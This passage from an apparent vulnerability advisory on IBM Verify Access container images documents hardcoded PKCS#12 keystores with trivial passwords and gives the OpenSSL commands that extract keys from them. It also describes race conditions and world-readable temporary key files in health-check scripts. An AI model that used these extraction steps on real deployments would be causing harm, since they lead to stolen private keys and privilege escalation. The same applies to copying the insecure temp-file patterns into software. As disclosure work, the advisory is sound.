-rw-rw-r-- 1 root root 883 Sep 26 15:40 /etc/wga_notifications.conf
[root@container-01]# podman exec -it 413823e2f7d1 cat /etc/wga_notifications.conf
[...]
sam_cluster.hvdb.driver_type = thin
isam_cluster.hvdb.embedded = false
isam_cluster.hvdb.port = 1536
isam_cluster.hvdb.pwd = [REDACTED]
isam_cluster.hvdb.secure = false
[...]
</code></pre>
<p>A local attacker can extract hashes from world-readable files and elevate its privileges.</p>
<p>The use of <code>/etc/shadow.isam</code> is unknown.</p>
<p><a id="hardcoded-pkcs12"></a></p>
<h2>Details - Hardcoded PKCS#12 files</h2>
<p>It was observed the Docker image verify-access contains hardcoded PKCS#12 files:</p>
<ul>
<li>/var/isam/cluster/sundry/odbc/ewallet.p12</li>
<li>/var/pdweb/shared/keytab/lmi_trust_store.p12</li>
<li>/var/pdweb/shared/keytab/embedded_ldap_keys.p12</li>
<li>/var/pdweb/shared/keytab/rt_profile_keys.p12</li>
</ul>
<p>The <code>/var/isam/cluster/sundry/odbc/ewallet.p12</code> file can be found inside the verify-access image:</p>
<pre><code>kali-docker# ls -la ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
-rw-r--r-- 1 5000 5000 736 Jun  8 01:32 ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12

kali-docker# sha256sum ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
687614048adb7877b7405a1d7f50c3717d832e0f1c822793507b99666d13acd5  ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12
</code></pre>
<p>When checking on the live system (verify-access), we can find this unchanged file:</p>
<pre><code>[root@container-01]# podman ps | grep 413823e2f7d1
413823e2f7d1  ibmcom/verify-access/10.0.4.0:20220926.6                         26 hours ago  Up 26 hours ago (healthy)  0.0.0.0:7443-&gt;9443/tcp            verify-access
[root@container-01]# podman exec -it 413823e2f7d1 ls -la /var/isam/cluster/sundry/odbc/
total 16
drwxr-xr-x 2 www-data www-data 4096 Jun  8 13:43 .
drwxr-xr-x 3 cluster  cluster  4096 Jun  8 13:43 ..
-rw-r--r-- 1 www-data www-data  781 Jun  8 13:32 cwallet.sso
-rw-r--r-- 1 www-data www-data    0 Jun  8 13:32 cwallet.sso.lck
-rw-r--r-- 1 www-data www-data  736 Jun  8 13:32 ewallet.p12
-rw-r--r-- 1 www-data www-data    0 Jun  8 13:32 ewallet.p12.lck
[root@container-01]# podman exec -it 413823e2f7d1 sha256sum /var/isam/cluster/sundry/odbc/ewallet.p12
687614048adb7877b7405a1d7f50c3717d832e0f1c822793507b99666d13acd5  /var/isam/cluster/sundry/odbc/ewallet.p12
[root@container-01]#
</code></pre>
<p>This file is used by several programs, with a trivial password (<code>passw0rd</code>) to encrypt it:</p>
<p>Assembly code of the function <code>authorSqlFuseFiles</code> found inside <code>mesa_config</code>, used to extract ewallet.p12:</p>
<p><img alt="" src="images/2024-isva-mesa_config-authorSqlFuseFiles.png" /></p>
<p>Extraction using OpenSSL:</p>
<pre><code>kali-docker# openssl pkcs12 -in ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12 -out /tmp/ewallet.test        
Enter Import Password: [passw0rd]
kali-docker# cat /tmp/ewallet.test
Bag Attributes
    localKeyID: E6 B6 52 DD 00 00 00 04 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 04 
subject=C = us, O = ibm, CN = rhel66.home.com
issuer=C = us, O = ibm, CN = rhel66.home.com
-----BEGIN CERTIFICATE-----
MIIB2TCCAUICAQAwDQYJKoZIhvcNAQEEBQAwNTELMAkGA1UEBhMCdXMxDDAKBgNV
BAoTA2libTEYMBYGA1UEAxMPcmhlbDY2LmhvbWUuY29tMB4XDTE2MDYwNDE4MjAx
N1oXDTI2MDYwMjE4MjAxN1owNTELMAkGA1UEBhMCdXMxDDAKBgNVBAoTA2libTEY
MBYGA1UEAxMPcmhlbDY2LmhvbWUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQC5awQOrQ/BlLYQ1dC0+e2NplzULT447UNrj8yaPqH0FeoqgLH29FzpVJV1
IWzN06IGSUEeyAck7u7EUg1BK3eyfwO3o1qolrvRkm4Rsvg+yijUIr2aSV0Xz9oR
71C+YMHr1MtGi6Xn432+vPSc2AxQVBKCVj0rBGka6V9mwWDPewIDAQABMA0GCSqG
SIb3DQEBBAUAA4GBAF9QlpGUC9QcxgI0B77xY0/2bNd3xBfS+hTbgyyoWRzH43so
1VG97F6g0rR6wvsAOTdr7kJn+t7sMyuhdJ2/TmZFATUL+6j9XpJH+7r+Ca4iIMB+
ysi09PVz6ccrsgpD9SiYxQ4HMJ+YKBahPg3geEUIkratxB69qZy0uP5WSp64
-----END CERTIFICATE-----
kali-docker# openssl x509 -in /tmp/ewallet.test -text -noout                                                                                                                              
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 0 (0x0)
        Signature Algorithm: md5WithRSAEncryption
        Issuer: C = us, O = ibm, CN = rhel66.home.com
        Validity
            Not Before: Jun  4 18:20:17 2016 GMT
            Not After : Jun  2 18:20:17 2026 GMT
        Subject: C = us, O = ibm, CN = rhel66.home.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:b9:6b:04:0e:ad:0f:c1:94:b6:10:d5:d0:b4:f9:
                    ed:8d:a6:5c:d4:2d:3e:38:ed:43:6b:8f:cc:9a:3e:
                    a1:f4:15:ea:2a:80:b1:f6:f4:5c:e9:54:95:75:21:
                    6c:cd:d3:a2:06:49:41:1e:c8:07:24:ee:ee:c4:52:
                    0d:41:2b:77:b2:7f:03:b7:a3:5a:a8:96:bb:d1:92:
                    6e:11:b2:f8:3e:ca:28:d4:22:bd:9a:49:5d:17:cf:
                    da:11:ef:50:be:60:c1:eb:d4:cb:46:8b:a5:e7:e3:
                    7d:be:bc:f4:9c:d8:0c:50:54:12:82:56:3d:2b:04:
                    69:1a:e9:5f:66:c1:60:cf:7b
                Exponent: 65537 (0x10001)
    Signature Algorithm: md5WithRSAEncryption
    Signature Value:
        5f:50:96:91:94:0b:d4:1c:c6:02:34:07:be:f1:63:4f:f6:6c:
        d7:77:c4:17:d2:fa:14:db:83:2c:a8:59:1c:c7:e3:7b:28:d5:
        51:bd:ec:5e:a0:d2:b4:7a:c2:fb:00:39:37:6b:ee:42:67:fa:
        de:ec:33:2b:a1:74:9d:bf:4e:66:45:01:35:0b:fb:a8:fd:5e:
        92:47:fb:ba:fe:09:ae:22:20:c0:7e:ca:c8:b4:f4:f5:73:e9:
        c7:2b:b2:0a:43:f5:28:98:c5:0e:07:30:9f:98:28:16:a1:3e:
        0d:e0:78:45:08:92:b6:ad:c4:1e:bd:a9:9c:b4:b8:fe:56:4a:
        9e:b8
</code></pre>
<p>The other files have been decrypted using <code>IBM Crypto For C</code> and OpenSSL.</p>
<p>The <code>lmi_trust_store.p12</code> file in the verify-access image contains several CAs and will also include the hardcoded key for the <code>Isam CA</code> in a live instance (after configuration):</p>
<pre><code>kali-docker# file=ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/pdweb/shared/keytab/lmi_trust_store.p12
kali-docker# LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64/ /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/bin/gsk8capicmd_64 -cert -export -db $file -stashed -target /tmp/tmp.p12 -target_pw passwordpassword

kali-docker# openssl pkcs12 -in /tmp/tmp.p12 -info -passin pass:passwordpassword
MAC: sha1, Iteration 1024
MAC length: 20, salt length: 8
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1024
Certificate bag
Bag Attributes
    friendlyName: CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US
    localKeyID: 03 82 01 01 00 CB 9C 37 AA 48 13 12 0A FA DD 44 9C 4F 52 B0 F4 DF AE 04 F5 79 79 08 A3 24 18 FC 4B 2B 84 C0 2D B9 D5 C7 FE F4 C1 1F 58 CB B8 6D 9C 7A 74 E7 98 29 AB 11 B5 E3 70 A0 A1 CD 4C 88 99 93 8C 91 70 E2 AB 0F 1C BE 93 A9 FF 63 D5 E4 07 60 D3 A3 BF 9D 5B 09 F1 D5 8E E3 53 F4 8E 63 FA 3F A7 DB B4 66 DF 62 66 D6 D1 6E 41 8D F2 2D B5 EA 77 4A 9F 9D 58 E2 2B 59 C0 40 23 ED 2D 28 82 45 3E 79 54 92 26 98 E0 80 48 A8 37 EF F0 D6 79 60 16 DE AC E8 0E CD 6E AC 44 17 38 2F 49 DA E1 45 3E 2A B9 36 53 CF 3A 50 06 F7 2E E8 C4 57 49 6C 61 21 18 D5 04 AD 78 3C 2C 3A 80 6B A7 EB AF 15 14 E9 D8 89 C1 B9 38 6C E2 91 6C 8A FF 64 B9 77 25 57 30 C0 1B 24 A3 E1 DC E9 DF 47 7C B5 B4 24 08 05 30 EC 2D BD 0B BF 45 BF 50 B9 A9 F3 EB 98 01 12 AD C8 88 C6 98 34 5F 8D 0A 3C C6 E9 D5 95 95 6D DE 
    2.16.840.1.113894.746875.1.1: &lt;Unsupported tag 6&gt;
subject=C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
issuer=C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
-----BEGIN CERTIFICATE-----
MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD
QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT
MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB
CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97
nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt
43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P
T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4
gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO
BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR
TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw
DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr
hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg
06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF
PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls
YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
-----END CERTIFICATE-----
Certificate bag
Bag Attributes
    friendlyName: CN=DigiCert ECC Secure Server CA,O=DigiCert Inc,C=US
[...]
</code></pre>
<p>When auditing live installations, the decrypted <code>lmi_trust_store.p12</code> file will contain the private key of the isam CA.</p>
<pre><code>kali% openssl x509 -in crt.pem -text -noout -modulus
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 14004578023842938
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = us, O = ibm, CN = isam
        Validity
            Not Before: Sep 19 07:01:51 2022 GMT
            Not After : Sep 17 07:01:51 2032 GMT
        Subject: C = us, O = ibm, CN = isam
[...]
Modulus=C8B3[REDACTED]

kali% openssl rsa -in crt.key -modulus               
Enter pass phrase for crt.key:
Modulus=C8B3[REDACTED]
writing RSA key
-----BEGIN PRIVATE KEY-----
[REDACTED]
-----END PRIVATE KEY-----
</code></pre>
<p>It is also possible to decrypt the <code>embedded_ldap_keys.p12</code> file:</p>
<pre><code>kali-docker# openssl pkcs12 -in embedded_ldap_keys.p12 -info -passin pass:passwordpassword 
MAC: sha1, Iteration 1024       
MAC length: 20, salt length: 8
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 5
Bag Attributes
    friendlyName: server
    localKeyID: [REDACTED]
Key Attributes: &lt;No Attributes&gt;
Enter PEM pass phrase: [password]
Verifying - Enter PEM pass phrase: [password]
-----BEGIN ENCRYPTED PRIVATE KEY-----
[REDACTED]
-----END ENCRYPTED PRIVATE KEY-----
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1024
Certificate bag
Bag Attributes
    friendlyName: server
    localKeyID: [REDACTED]
subject=C = us, O = ibm, CN = isam
issuer=C = us, O = ibm, CN = isam
-----BEGIN CERTIFICATE-----
[REDACTED]
-----END CERTIFICATE-----
kali-docker#
</code></pre>
<p>Using a dynamic analysis, it was confirmed that several private keys are included in the snapshot images and used at least by OpenLDAP. The .p12 files can be decrypted using <code>IBM Crypto For C</code> and OpenSSL.</p>
<pre><code>kali-docker# pwd                                            
/home/user/snapshots/_a22547c15c88-verify-access-runtime_10.0.4.0.tar-default.snapshot/var/pdweb/shared/keytab
kali-docker# ls -la
total 492
drwxr-x---  2 root root   4096 Oct 18 05:13 .
drwxr-x--- 16 root root   4096 Sep 20 03:01 ..
-rw-r-----  1 root root   2952 Sep 20 03:01 embedded_ldap_keys.p12
-rw-r-----  1 root root    193 Jun  8 01:31 embedded_ldap_keys.sth
-rw-r-----  1 root root  47630 Sep 20 03:09 lmi_trust_store.p12
-rw-r-----  1 root root    193 Jun  8 01:31 lmi_trust_store.sth
-rw-r-----  1 root root 109313 Sep 20 03:17 rt_profile_keys.p12
-rw-r-----  1 root root    193 Jun  8 01:31 rt_profile_keys.sth
[...]
</code></pre>
<p><a id="leak-keys-1"></a></p>
<h2>Details - Incorrect permissions in verify-access-dsc (race condition and leak of private key)</h2>
<p>It was observed that the Docker image verify-access-dsc uses insecure temporary files to store sensitive information.</p>
<p>The <code>/usr/sbin/bootstrap.sh</code> script will generate temporary files using the default umask (<code>022</code>).</p>
<p>In the <code>build_health_check_config()</code> function found inside the <code>/usr/sbin/bootstrap.sh</code> script (executed when the instance starts), we can see that several files are generated:</p>
<ul>
<li>/tmp/health_check.p12</li>
<li>/var/dsc/.health/port.txt</li>
</ul>
<p>Content of <code>/usr/sbin/bootstrap.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">65</span> <span style="color: #408080; font-style: italic">#############################################################################</span>
 <span style="color: #666666">66</span> <span style="color: #408080; font-style: italic"># Construct the health check configuration information.  This will include</span>
 <span style="color: #666666">67</span> <span style="color: #408080; font-style: italic"># the port and client certificate information.</span>
 <span style="color: #666666">68</span> 
 <span style="color: #666666">69</span> build_health_check_config<span style="color: #666666">()</span>
 <span style="color: #666666">70</span> <span style="color: #666666">{</span>
 <span style="color: #666666">71</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$INSTANCE</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">72</span>         <span style="color: #19177C">INSTANCE</span><span style="color: #666666">=1</span>
 <span style="color: #666666">73</span>     <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">74</span> 
 <span style="color: #666666">75</span>     <span style="color: #19177C">conf</span><span style="color: #666666">=</span>/var/dsc/etc/dsc.conf.<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">INSTANCE</span><span style="color: #BB6688; font-weight: bold">}</span>
 <span style="color: #666666">76</span> 
 <span style="color: #666666">77</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> ! -f <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">conf</span><span style="color: #BB6688; font-weight: bold">}</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">78</span>         Echo <span style="color: #666666">973</span> <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">INSTANCE</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span>
 <span style="color: #666666">79</span>         <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
 <span style="color: #666666">80</span>     <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">81</span> 
 <span style="color: #666666">82</span>     <span style="color: #408080; font-style: italic">#</span>
 <span style="color: #666666">83</span>     <span style="color: #408080; font-style: italic"># Determine the port which is to be used.</span>
 <span style="color: #666666">84</span>     <span style="color: #408080; font-style: italic">#</span>
 <span style="color: #666666">85</span> 
 <span style="color: #666666">86</span>     <span style="color: #19177C">port</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>/opt/PolicyDirector/sbin/pdconf -f <span style="color: #19177C">$conf</span> getentry <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">87</span>                 dsess-server ssl-listen-port<span style="color: #BA2121">`</span>
 <span style="color: #666666">88</span> 
 <span style="color: #666666">89</span>     mkdir -p /var/dsc/.health
 <span style="color: #666666">90</span> 
 <span style="color: #666666">91</span>     <span style="color: #008000">echo</span> <span style="color: #19177C">$port</span> &gt; /var/dsc/.health/port.txt
 <span style="color: #666666">92</span> 
 <span style="color: #666666">93</span>     <span style="color: #408080; font-style: italic">#</span>
 <span style="color: #666666">94</span>     <span style="color: #408080; font-style: italic"># Extract the client certificate which is used to communicate with the</span>
 <span style="color: #666666">95</span>     <span style="color: #408080; font-style: italic"># server.</span>
 <span style="color: #666666">96</span>     <span style="color: #408080; font-style: italic">#</span>
 <span style="color: #666666">97</span> 
 <span style="color: #666666">98</span>     <span style="color: #19177C">cert_file</span><span style="color: #666666">=</span>/var/dsc/.health/health_check.pem
 <span style="color: #666666">99</span> 
<span style="color: #666666">100</span>     <span style="color: #19177C">tmp_p12</span><span style="color: #666666">=</span>/tmp/health_check.p12
<span style="color: #666666">101</span>     <span style="color: #19177C">tmp_pwd</span><span style="color: #666666">=</span>health_check
<span style="color: #666666">102</span> 
<span style="color: #666666">103</span>     <span style="color: #408080; font-style: italic"># Work out the name of the key file which is being used.</span>
<span style="color: #666666">104</span>     <span style="color: #19177C">key_file</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>/opt/PolicyDirector/sbin/pdconf -f <span style="color: #19177C">$conf</span> getentry <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">105</span>                 dsess-server ssl-keyfile<span style="color: #BA2121">`</span>
<span style="color: #666666">106</span> 
<span style="color: #666666">107</span>     <span style="color: #408080; font-style: italic"># Export the key into a key database type which is supported</span>
<span style="color: #666666">108</span>     <span style="color: #408080; font-style: italic"># by OpenSSL.</span>
<span style="color: #666666">109</span>     gsk8capicmd_64 -cert -export -db <span style="color: #19177C">$key_file</span> -stashed <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">110</span>             -target <span style="color: #19177C">$tmp_p12</span> -target_pw <span style="color: #19177C">$tmp_pwd</span>
<span style="color: #666666">111</span> 
<span style="color: #666666">112</span>     <span style="color: #408080; font-style: italic"># Convert the key into something that curl understands.</span>
<span style="color: #666666">113</span>     openssl pkcs12 -in <span style="color: #19177C">$tmp_p12</span> -out <span style="color: #19177C">$cert_file</span> -nodes <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">114</span>             -passin pass:<span style="color: #19177C">$tmp_pwd</span> <span style="color: #666666">2</span>&gt;/dev/null
<span style="color: #666666">115</span> 
<span style="color: #666666">116</span>     <span style="color: #408080; font-style: italic"># Tidy up.</span>
<span style="color: #666666">117</span>     rm -f <span style="color: #19177C">$tmp_p12</span>
<span style="color: #666666">118</span> <span style="color: #666666">}</span>
<span style="color: #666666">119</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">176</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">177</span> <span style="color: #408080; font-style: italic"># Extract the health check information.</span>
<span style="color: #666666">178</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">179</span> 
<span style="color: #666666">180</span> build_health_check_config
</pre></div>

<p>The temporary file <code>/tmp/health_check.p12</code> contains the private keys of the dsc server and the dsc client. This key file is stored using the <code>644</code> permissions allowing any local attacker to extract these keys when the Docker image starts.</p>
<p>Furthermore, the password of the certificate file is hardcoded (to <code>health_check</code>, on line 101).</p>
<p>When checking the files generated by this script, we can confirm the files are world-readable. For example, for the <code>/var/dsc/.health/port.txt</code> file, the permissions are 644:</p>
<pre><code>[isam@verify-access-dsc /]$ ls -la /var/dsc/.health/
total 28
drwxr-xr-x 2 isam isam 4096 Oct  4 09:07 .
drwxrwx--- 1 isam root 4096 Oct  4 09:07 ..     
-rw------- 1 isam isam 9268 Oct  4 09:07 health_check.pem
-rw-r--r-- 1 isam isam    5 Oct  4 09:07 port.txt
[isam@verify-access-dsc /]$
</code></pre>
<p>There is a race condition in the <code>/usr/sbin/bootstrap.sh</code> script allowing a local attacker with access to the verify-access-dsc instance to extract the private keys of the dsc server and the dsc client when the Docker image starts.</p>
<p>The filename is predictable, allowing a local attacker to create the destination file before the script is executed. The content of the destination file will be overwritten by the <code>/usr/sbin/health_check.sh</code> script but the ownership of the file will still belong to an attacker, allowing extracting the private keys.</p>
<p>The password is hardcoded.</p>
<p>Insecure permissions are used for sensitive files.</p>
<p><a id="leak-keys-2"></a></p>
<h2>Details - Insecure health_check.sh script in verify-access (race condition and leak of private key)</h2>
<p>It was observed that the Docker image verify-access runs regularly the script <code>/usr/sbin/health_check.sh</code>.</p>
<p>This script uses a temporary file to store sensitive information. Since this script uses the default umask (<code>022</code>), an attacker can exploit a race condition (between the lines 91 and 95) to extract the private keys of the dsc server and the dsc clients.</p>
<p>The <code>/tmp/health_check.pem</code> output file will also be created containing the private keys in clear-text (in line 91), allowing an attacker to extract these private keys:</p>
<p>Content of <code>/usr/sbin/health_check.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">65</span> <span style="color: #19177C">cert_file</span><span style="color: #666666">=</span>/tmp/health_check.pem
<span style="color: #666666">66</span> 
<span style="color: #666666">67</span> <span style="color: #008000">trap</span> <span style="color: #BA2121">&quot;rm -f </span><span style="color: #19177C">$result_file</span><span style="color: #BA2121"> </span><span style="color: #19177C">$error_file</span><span style="color: #BA2121"> </span><span style="color: #19177C">$hdr_file</span><span style="color: #BA2121">&quot;</span> EXIT
<span style="color: #666666">68</span> 
<span style="color: #666666">69</span> <span style="color: #408080; font-style: italic"># The following function will extract a key which can be used to authenticate</span>
<span style="color: #666666">70</span> <span style="color: #408080; font-style: italic"># to the DSC.</span>
<span style="color: #666666">71</span> 
<span style="color: #666666">72</span> extract_dsc_key<span style="color: #666666">()</span>
<span style="color: #666666">73</span> <span style="color: #666666">{</span>
<span style="color: #666666">74</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> ! -f <span style="color: #19177C">$cert_file</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">75</span>         <span style="color: #19177C">tmp_p12</span><span style="color: #666666">=</span>/tmp/health_check.p12.<span style="color: #19177C">$$</span>
<span style="color: #666666">76</span>         <span style="color: #19177C">tmp_pwd</span><span style="color: #666666">=</span>health_check
<span style="color: #666666">77</span> 
<span style="color: #666666">78</span>         <span style="color: #408080; font-style: italic"># Work out the name of the DSC configuration file.</span>
<span style="color: #666666">79</span>         <span style="color: #19177C">conf_file</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>mesa_config wga.ftype dir dsc.conf -production<span style="color: #BA2121">`</span>
<span style="color: #666666">80</span> 
<span style="color: #666666">81</span>         <span style="color: #408080; font-style: italic"># Work out the name of the key file which is being used.</span>
<span style="color: #666666">82</span>         <span style="color: #19177C">key_file</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>/opt/PolicyDirector/sbin/pdconf -f <span style="color: #19177C">$conf_file</span> getentry <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">83</span>                 dsess-server ssl-keyfile<span style="color: #BA2121">`</span>
<span style="color: #666666">84</span> 
<span style="color: #666666">85</span>         <span style="color: #408080; font-style: italic"># Export the key into a key database type which is supported</span>
<span style="color: #666666">86</span>         <span style="color: #408080; font-style: italic"># by OpenSSL.</span>
<span style="color: #666666">87</span>         gsk8capicmd_64 -cert -export -db <span style="color: #19177C">$key_file</span> -stashed <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">88</span>             -target <span style="color: #19177C">$tmp_p12</span> -target_pw <span style="color: #19177C">$tmp_pwd</span>
<span style="color: #666666">89</span> 
<span style="color: #666666">90</span>         <span style="color: #408080; font-style: italic"># Convert the key into something that curl understands.</span>
<span style="color: #666666">91</span>         openssl pkcs12 -in <span style="color: #19177C">$tmp_p12</span> -out <span style="color: #19177C">$cert_file</span> -nodes <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">92</span>             -passin pass:<span style="color: #19177C">$tmp_pwd</span> <span style="color: #666666">2</span>&gt;/dev/null
<span style="color: #666666">93</span> 
<span style="color: #666666">94</span>         <span style="color: #408080; font-style: italic"># Tidy up.</span>
<span style="color: #666666">95</span>         rm -f <span style="color: #19177C">$tmp_p12</span>
<span style="color: #666666">96</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">97</span> <span style="color: #666666">}</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
</pre></div>

<p>The file <code>/tmp/health_check.p12.$$</code> (<code>$$</code> corresponding to the local PID) will be generated with the password <code>health_check</code> and will contain the private keys of the dsc client and the dsc server. This file will be world-readable. Then the file will be erased.</p>
<p>There is a race condition in the <code>/usr/sbin/health_check.sh</code> script allowing a local attacker with access to the verify-access instance to extract the private keys of the dsc server and the dsc client.</p>
<p>The filename is predictable, allowing a local attacker to create potential destination files before the execution of the script. The content of the destination file will be overwritten by the <code>/usr/sbin/health_check.sh</code> script but the ownership of the file will still belong to an attacker, allowing extracting the private keys.</p>
<p>There is also a leak of private keys in the world-readable file <code>/tmp/health_check.pem</code>.</p>
<p>The password is hardcoded.</p>
<p>Insecure permissions are used for sensitive files.</p>
<p><a id="lpe-script-1"></a></p>
<h2>Details - Local Privilege Escalation due to insecure health_check.sh script in verify-access (insecure SSL, insecure files)</h2>
<p>It was observed that the Docker image verify-access regularly runs the script <code>/usr/sbin/health_check.sh</code>.</p>
<p>This script uses curl, without checking the remote SSL certificate:</p>
<p>Content of <code>/usr/sbin/health_check.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">190</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">191</span> <span style="color: #408080; font-style: italic"># Make the curl request.</span>
<span style="color: #666666">192</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">193</span> 
<span style="color: #666666">194</span> <span style="color: #008000">eval</span> curl --insecure --output <span style="color: #19177C">$result_file</span> --silent --show-error <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">195</span>         -D <span style="color: #19177C">$hdr_file</span> <span style="color: #19177C">$extra_args</span> https://127.0.0.1:<span style="color: #19177C">$port</span> <span style="color: #666666">2</span>&gt; <span style="color: #19177C">$error_file</span>
<span style="color: #666666">196</span>
</pre></div>

<p>The eval instruction does not seem exploitable.</p>
<p>This script uses 2 temporary files to store the standard output (stdout) and the error output (stderr) of the curl command: an attacker can exploit these 2 temporary files to overwrite any file in the filesystem using pre-generated symbolic links inside <code>/tmp</code>:</p>
<p>Content of <code>/usr/sbin/health_check.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">62</span> <span style="color: #19177C">result_file</span><span style="color: #666666">=</span>/tmp/health_check.out.<span style="color: #19177C">$$</span>
